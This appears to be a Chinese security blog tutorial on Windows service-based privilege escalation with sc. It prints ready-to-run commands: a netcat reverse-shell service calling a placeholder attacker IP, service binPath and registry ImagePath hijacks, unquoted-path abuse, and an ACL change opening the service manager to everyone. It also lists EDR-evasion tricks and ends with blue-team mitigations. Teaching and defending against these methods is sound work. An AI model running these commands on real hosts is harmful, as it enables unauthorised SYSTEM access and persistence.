在Windows的内网渗透与权限提升（Privilege Escalation）环节中，服务提权一直是红队大佬们的心头好。毕竟，Windows服务就像是一群拥有极高权限的“高级打工仔”，如果能巧妙地接管或骗过他们，让他们乖乖听命于你，那你就能顺理成章地拿到至高无上的SYSTEM权限。
今天，我们就来深入浅出地扒一扒如何通过sc(Service Control) 命令这门“人事管理工具”，在Windows系统中上演一出精彩的提权大戏。全程干货，保证让你看懂！
🧠 壹、 核心原理：为什么搞定了“服务”就能提权？
要理解服务提权，我们得先知道服务是个啥。
在Windows中，服务（Service）是一种在后台默默运行的特殊程序。它们有个极其霸道的特权：绝大多数服务在系统启动时就以SYSTEM或Administrator权限跑起来了。
而sc命令，则是Windows自带的一个用于和服务控制管理器（SCM）对话的命令行工具。通过它，我们可以创建服务、启动服务、修改服务配置等。
💡提权底层逻辑：
如果我们能以某种方式，让一个高权限服务去执行我们精心准备的恶意程序（比如一个反弹Shell），那么由于“权限继承”机制，我们的恶意程序就会“子凭母贵”，直接继承SYSTEM权限。这就好比你骗过了公司的高管（服务），让他用自己的CEO账号（SYSTEM）帮你运行了一段代码，瞬间通关！
🛠️ 贰、 经典五式：手把手教你玩转sc服务提权
在真实的攻防演练中，sc服务提权的套路繁多，但万变不离其宗。以下是五种最常见且致命的经典手法：
招式一：瞒天过海 —— 直接创建恶意服务
如果你当前拿到的权限足够高（比如有管理员权限），或者目标系统的组策略配得一塌糊涂（给用户配了SeServiceLogonRight），那你可以直接用sc create创建一个新服务。
cmd
sc create BackdoorService binPath= "C:\temp\nc.exe -e cmd.exe 攻击者IP 4444" start= auto sc start BackdoorService解析：我们创建了一个叫
BackdoorService的服务，并告诉系统，启动这个服务就去运行我们的反弹Shell。一旦启动，你就会收到一个高贵的SYSTEM权限的Shell。
招式二：李代桃僵 —— 劫持现有服务路径
很多时候，我们没权限创建新服务，但我们可能有权限修改已有的服务。通过sc config命令，我们可以篡改服务的可执行文件路径（binPath）。
cmd
sc config LegitService binPath= "C:\temp\malware.exe" obj= LocalSystem sc stop LegitService sc start LegitService解析：我们把原本合法的
LegitService指向了我们的恶意文件。当系统管理员下次重启这个服务时，他以为自己在启动正规军，其实是在帮我们运行木马。
招式三：釜底抽薪 —— 注册表ImagePath劫持
服务的配置信息其实都躺在注册表里（HKLM\SYSTEM\CurrentControlSet\Services\服务名）。如果你对某个服务的注册表项有写权限，可以直接改ImagePath的值。
cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableSvc" /t REG_EXPAND_SZ /v ImagePath /d "C:\temp\evil.exe" /f解析：这招比
sc config更隐蔽，因为有些粗心的管理员在看服务属性时，未必会去翻注册表。
招式四：浑水摸鱼 —— 未引用的服务路径提权 (Unquoted Service Path)
这是一个经典的Windows“脑回路”清奇导致的漏洞。如果服务的路径包含空格，且没有用双引号括起来，Windows在解析时会逐个尝试截断。
例如，一个服务的路径是：C:\Program Files\Common Files\App\service.exe
Windows在启动时，会依次寻找并执行：
C:\Program.exeC:\Program Files\Common.exeC:\Program Files\Common Files\App\service.exe
提权姿势：如果你能在C:\` 目录下传一个名为Program.exe的恶意文件，并重启服务，系统就会傻乎乎地以高权限运行你的Program.exe`。
招式五：降维打击 —— 滥用服务控制管理器 (SCM) ACL
这是近年来安全研究员 Grzegorz Tworek 披露的一种极其暴力的手法。如果你有一个已提权的命令行，可以通过sc命令直接修改服务控制管理器本身的权限，给普通用户开放至高无上的控制权：
cmd
sc.exe sdset scmanager D:(A;;KA;;;WD)解析：这行命令相当于在系统大门上贴了张告示：“以后谁来都可以随意创建/控制任何服务”。随后，普通用户即可利用此权限创建 SYSTEM 级别的恶意服务，实现本地持久化与提权。
⚔️ 叁、 现代攻防对抗：2025+ 时代的绕过与防守
到了2025、2026年，Windows的防御机制（如WDAC、LSA Protection）和各大EDR早已对传统的sc提权手法虎视眈眈。但这并不意味着此路不通，只是需要更深的“伪装”。
🛡️ 红队视角：如何绕过EDR的火眼金睛？
API 直接调用代替
sc命令：在高级攻防中，直接在命令行敲sc容易触发行为拦截。成熟的红队通常使用 C# 或 C++ 直接调用 Windows API（OpenSCManager、CreateService）来规避命令行监控。父进程欺骗 (PPID Spoofing)：在创建服务进程时，将其父进程指定为合法的
services.exe，以此糊弄基于父子进程关系的行为检测。内存注入免杀：不再将恶意文件直接写在磁盘上，而是利用服务作为跳板，将 Shellcode 注入到合法的服务进程（如
svchost.exe）内存中执行。例如结合 GodPotato 等令牌冒充工具实现无文件落地提权。
🔍 蓝队视角：如何揪出内鬼？
对于防守方而言，不能仅仅依赖杀毒软件，必须建立深度的防御与监控体系：
最小权限原则 (PoLP)：严格限制普通用户对服务的操作权限。使用
AccessChk或WinPEAS定期排查哪些用户对非系统服务拥有SERVICE_CHANGE_CONFIG或注册表写权限。加强路径审核：强制要求所有服务路径必须用双引号包裹，并定期检查是否存在“未引用的服务路径”。
启用高级审计策略：在组策略中开启对
服务控制管理器的详细审计。一旦检测到非nt authority\system或合法管理员账户修改服务配置，立刻触发告警。
💡 结语与互动：你的思路卡壳了吗？
sc服务提权就像是黑客与系统管理员之间的一场猫鼠游戏。随着 Windows Server 2025/2026 对核心安全机制的不断加固，粗制滥造的提权EXP很容易被秒杀，但这也催生了诸如“命名管道模拟”、“RPCSS 劫持”等更隐蔽的高级玩法（比如前文提到的 GodPotato 变种）。
📢互动环节：
在实战中，你遇到过哪些奇葩的sc服务提权阻碍？或者你有哪些独门的 bypass 小技巧？欢迎在评论区留言讨论，让我们一起把这套“黑魔法”琢磨得更透彻！如果觉得这篇文章对你有帮助，别忘了点赞、收藏、关注，我们下期再见！ 👋
